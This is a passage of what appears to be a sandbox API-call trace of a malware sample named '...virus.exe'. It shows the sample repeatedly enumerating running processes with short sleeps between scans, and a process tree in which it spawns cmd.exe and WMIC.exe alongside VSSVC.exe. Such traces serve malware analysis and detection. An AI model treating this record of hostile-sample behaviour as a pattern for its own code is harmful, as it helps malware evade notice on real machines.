dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.816] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.816] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.816] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.817] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.817] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0275.817] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0275.818] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0275.818] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0275.818] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0275.819] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.819] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.819] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0275.820] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0275.820] CloseHandle (hObject=0x178) returned 1 [0275.820] Sleep (dwMilliseconds=0x1f4) [0276.472] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0276.475] Process32FirstW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.475] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.475] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.476] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.476] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.477] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.477] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.478] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.478] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.479] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0276.479] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.480] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.480] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.480] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.481] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.481] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.482] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.482] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.483] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.483] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.484] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.484] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0276.484] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.485] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0276.485] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0276.486] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0276.486] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0276.487] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0276.487] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.519] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.520] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0276.520] Process32NextW (in: hSnapshot=0x1b0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0276.521] CloseHandle (hObject=0x1b0) returned 1 [0276.521] Sleep (dwMilliseconds=0x1f4) [0277.096] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0277.098] Process32FirstW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.099] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.099] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.100] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.100] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.101] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.101] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.102] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.102] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.102] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.103] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.103] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.104] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.104] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.104] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.105] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.105] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.106] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.106] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.106] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.107] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.107] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.107] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.108] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0277.108] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0277.108] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0277.109] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0277.109] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0277.109] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.110] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.110] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0277.110] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.111] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0277.111] CloseHandle (hObject=0xc0) returned 1 [0277.111] Sleep (dwMilliseconds=0x1f4) [0277.620] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xcc [0277.621] Process32FirstW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.622] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.622] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, 